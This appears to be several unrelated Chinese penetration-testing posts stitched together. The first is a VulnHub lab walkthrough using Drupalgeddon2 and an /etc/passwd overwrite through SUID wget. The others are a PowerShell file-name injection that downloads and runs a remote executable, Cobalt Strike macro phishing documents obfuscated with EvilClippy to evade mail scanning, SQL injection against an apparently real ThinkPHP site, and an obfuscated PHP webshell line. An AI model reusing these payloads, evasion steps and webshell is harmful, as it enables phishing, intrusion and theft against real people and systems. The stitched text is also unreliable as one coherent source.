2019年11月

靶机地址:

https://www.vulnhub.com/entry/os-hax-lab-james,392/

难度:作者的定义是中等~

靶机发布日期:2019年11月3日

1.png

靶机描述:

Difficulty : Intermediate
Flag : boot-root
Learning : exploit | web application Security | Privilege Escalation
Contact .. https://www.linkedin.com/in/rahulgehlaut/
Requires VirtualBox (doesn't work with VMware)

工具、知识点和漏洞

1.nmap
2.dirsearch
3.searchsploit
4.metaspaloit

0x00、信息收集

靶机IP:192.168.0.107

nmap -sP 192.168.0.0/24

2.png

端口和服务

nmap -sS -sV -T5 -A -p- 192.168.0.107

3.png

页面、目录枚举

gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip

4.png

http://192.168.0.107/index.html

5.png

http://192.168.0.107/drupal/

Drupal 7
6.png

http://192.168.0.107/alexander.txt

内容如下:

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==

base64解码之后发现是Brainfuck code,
https://www.splitbrain.org/_static/ook/
在线解码,得到一对账号密码

james:[email protected]

7.png

8.png

登录Drupal之后看到一串警告
9.png

尝试使用得到的账号密码通过SSH登录靶机,无果

0x01、getshell

由于之前做过很多Drupal的靶机,所以我直接打开MSF,利用

exploit/unix/webapp/drupal_drupalgeddon2

去getshell

常规做法就是在exploit-db、Google搜索“drupal 7”

search Drupalgeddon2
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhosts 192.168.0.107
set targeturi /drupal # Path to Drupal install
exploit

10.png

获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的,这一步很关键。

python -c 'import pty; pty.spawn("/bin/bash")' # 有些没有安装Python2,所以需要换成python3 -c

如果你想使用clear清屏,那么只需要给TERM这个环境变量赋值screen即可

export TERM=screen # 赋值xterm也可以

0x02、提权

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

SUID权限可执行文件,发现/usr/bin/wget

关于wget的利用,可以参考Linux for Pentester: Wget Privilege Escalation

find / -perm -u=s -type f 2>/dev/null

常见的SUID提权可执行文件

nmap
vim
less
more
nano
cp
mv
find
wget
bash

读取靶机中的/etc/passwd,并将内容保存到kali的新建passwd文件。使用openssl生成加密密码,并将加密的密码添加到passwd中

关于/etc/passwd各列的含义请自行搜索

asswd -1 -salt salt ins1ght
echo 'ins1ght:$1$salt$6FLhQyyZLS6t1CiFgvKLu1:0:0:root:/root:/bin/bash' >> passwd

11.png

在passwd文件所在目录使用Python开启HTTP服务,之后使用使用wget将passwd下载到靶机的/etc目录,覆盖靶机原始的/etc/passwd文件。

12.png

su切换到ins1ght用户(root权限)

13.png

结束!

Windows PowerShell是专门为系统管理员设计的Windows命令行外壳程序。PowerShell包括可独立使用或组合使用的交互式提示和脚本环境。

我们在一次测试中偶然发现,由于信任未过滤的文件名,因此在运行特殊命名的脚本时,PowerShell可能会执行任意代码。

测试发现当“ .ps1”文件包含分号“;”或者空格作为文件名一部分时,就会出现这种情况。

测试发现运行带有特殊格式文件名的脚本后,可以导致执行其他木马如exe文件,也可以是任何可执行文件如.com,.exe,.bat,.cpl,.js,.vbs和.wsf。

例如:使用”.calc;1.ps1″则可以用来执行calc.exe,如果使用标准调用了该脚本Windows外壳程序“ cmd.exe”和“ calc.exe”与ps1脚本位于同一目录中。如下图所示:

1.jpg

但是,如果这些脚本是从PowerShells Shell运行的而不是“ cmd.exe”,则“&”(调用运算符)将阻止我们的漏洞利用。

不过,如果用户启用了“ .ps1”脚本以将PowerShell作为默认程序打开,则只需双击该文件即可触发漏洞利用。“&”呼叫运算符将不再起效果。 另外,如果用户尚未启用PowerShell来打开.ps1脚本,

2.gif

默认情况下 然后从cmd.exe运行脚本,例如:

c:\>powershell "\Hello;World.ps1"

也可以直接运行,而无需放入PowerShell shell。

我的PoC测试下载一个远程可执行文件,将其保存到计算机中,然后执行它,而与PS文件本身的内容无关紧要。PS文件本身就是一个简单的:Write-Host “Hello World!”

另外,请注意,在vicitm调用“ iwr”(调用webrequest)之后,需要使用“%CD”来定位当前工作目录,缩写为空格,为了确保下载完成,需要睡眠2秒钟,然后执行。

测试过程如下:

1、生成powershell命令:首先,我们创建一个用于混淆的Base64编码的文件名; 它将下载并执行一个在本例中名为“ calc.exe”的远程可执行文件。

将可执行文件托管在Web服务器上,或仅使用python -m SimpleHTTPServer 80或任何其他工具。

C:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.220.134/calc.exe -OutFile %CD%/calc.exe;sleep -s 2;start calc.exe'"))

3.jpg

注意windows的文件名长度,尽量简写,如:

C:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.220.134/p %CD%/p.exe;sleep -s 2;start p.exe'"))

———————————————————————————————————————————

cABvAHcAZQByAHMAaABlAGwAbAAgAGkAdwByACAAMQA5ADIALgAxADYAOAAuADIAMgAwA**AMQAzADQALwBwACAAYwA6AFw**wBpAG4AZABvAHcAcwBcAGQAZQBiAHUAZwBcAFcASQBBAC8AcAAuAGUAeABlADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHMAdABhAHIAdAAgAHAALgBlAHgAZQA=

这可能会破坏PowerShell的完整性,因为它可能允许意外的代码执行。 即使脚本内容经过视觉检查也是如此。

我们也许还可以绕过某些端点保护或IDS系统,这些系统可能只查看文件的内容或标头,而不查看文件名。

为此,用户在打开“ .ps1”文件时必须已将PowerShell启用为其默认程序。

2、然后给PS脚本起一个普通的开始名称,然后使用“;”分隔命令。“ -e”是EncodedCommand的缩写,用于再次保存文件名空间。例如

test; powershell -e <BASE64编码命令>; 2.ps1

3、双击以在PowerShell中打开,效果如下:

4.gif

或者在命令行下执行:

5.jpg

以上示例是使用了“文件名嵌入式下载器”,其实我们还可以在同一目录中调用其他各种类型的第二特洛伊木马文件。

使用起来,是需要用户交互,需要想一个场景来利用。

显然运行任何随机PS脚本都是危险的……

但是,我们查看了文件内容

6.jpg

仅仅是打印了一个字符串,文件名理论上被查杀的可能性小。

1.Cobalt Strike生成宏代码

因为说了是科普文所以用最原始的宏病毒,为了方便演示用Cobalt Strike演示。

1.1 Cobalt Strike生成宏代码

1.png

1.2 打开office,创建可以启用宏的word(如doc,docm等),视图→宏→查看宏→创建宏,把之前复制的宏脚本粘帖进去,然后保存。

2.png

就这样一封超级简单的钓鱼邮件就制作完成了。只要用户点击宏就能触发回连了

3.png

2.宏免杀/静态查杀(EvilClippy的使用)

2.1为什么钓鱼附件进不了收件箱

随着类似msf,Cobalt Strike工具的出现,钓鱼邮件的制作成本大大降低了。但随之的问题也出现了,因为工具一般是写死的,无法定制化恶意执行代码,导致恶意代码的特征值很容易被抓取,会被发件服务器,收件邮件网关,本地杀毒等一系列防护设备或措施拦截。所以为了邮件能进收件箱,要搞清楚我们的钓鱼邮件在哪一个步骤挂掉了。一般常见的邮件流程如下:
邮件→邮件服务器→防毒→防垃圾→收件箱

2.2如何进行免杀

上文说到要搞清楚我们的附件在什么环节被杀了,首先科普一下当下杀软的三种查杀方式:1.静态查杀 2.云查杀 3.行为查杀。邮件服务器为了可用性和隐私性一般只有静态查杀。所以我们只需要规避特征值绕过静态查杀就可以让钓鱼附件进入收件箱了。如何规避静态查杀?最好的办法当然是自己写恶意代码,但大部分云黑客都是脚本小子,这也没关系,现在gayhub上也有很多免杀开源的脚本。这里以EvilClippy作为演示

地址:https://github.com/outflanknl/EvilClippy/releases

2.3EvilClippy的使用

下载EvilClippy脚本,并运行,这里我们用-s参数

4.png

-s参数是通过假的vba代码插入到模块中,用以混淆杀毒程序,这里我们需要写一个正常无毒的vba脚本。

5.png

我们瞎写一个vba脚本,并保存为hello.vba。然后我们运行EvilClippy。
命令:EvilClippy.exe -s hello.vba diaoyu.doc

6.png

把生成的doc扔到在线查杀,结果如图7,查杀率不算太高,但是过静态查杀应该绰绰有余

7.png

点击钓鱼文档,启用宏,成功上线

8.png

写在最后:
因为邮件网关为了隐私性不可能开启云查杀,为了性能更不可能开启行为查杀,所以静态查杀还是挺好绕过的,再配合我之前的文章:钓鱼发件人伪造,效果更佳。
钓鱼邮件的本质就是不停地跟邮服防御措施进行对抗,通过不同的CVE进行组合更改,绕过。说到安全策略这一块做得OK不得不提gmail的反钓鱼策略,真的是强的一批,策略更新的也非常的快。

0x01 信息收集:

打开网页后,网站长这样:

1.png

随便进个网页:

url: http://www.xxx.com/index.php/Home/News/lists/c_id/12.html

Emmmm,熟悉的URL,盲猜目标为ThinkPHP,改下URL:

url: http://www.xxx.com/index.php/User/News/lists/c_id/12.html

2.png

还真是thinkphp,3.2.3,在thinkphp中可以查看日志文件来进行渗透,有的程序会将cookie写入日志,日志目录为runtime,但是这个站并不存在runtime:

3.png

但是审这么久的代码也没白审,路由还是会猜的,单入口模式可以直接在index.php后面加admin,看看有没有后台:

4.png

果然是这个路由,并且还得知了目标后台管理框架。

0x02 代码审计:

既然得知了目标后台使用的框架,所以我直接下载了回来。直接进入Admin的控制器:

5.png

我看了代码直接发现控制器会继承至两个类,分别为:Controller、AuthController

其中 AuthController 需要身份认证,Controller不需要,所以我们只能找继承至Controller的控制器:

1.login.php
2.Ajax.php
3.Dep.php
4.Empty.php

理清思路后大概花了2分钟的时间在 AjaxController.class.php 找到了一处无条件注入:

public function getRegion(){
    $Region=M("region");
    $map['pid']=$_REQUEST["pid"];
    $map['type']=$_REQUEST["type"];
    $list=$Region->where($map)->select();
    echo json_encode($list);
}

0x03 利用漏洞:

6.png

没有任何WAF,一马平川,直接上sqlmap:

7.png

0x04 Getshell:

Getshell的思路也很简单,php+iis7.5,可以直接用fastcgi的解析漏洞,我只需要找到一个上传图片的点就可以了。过于简单,就不贴图了。

$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p;

1.png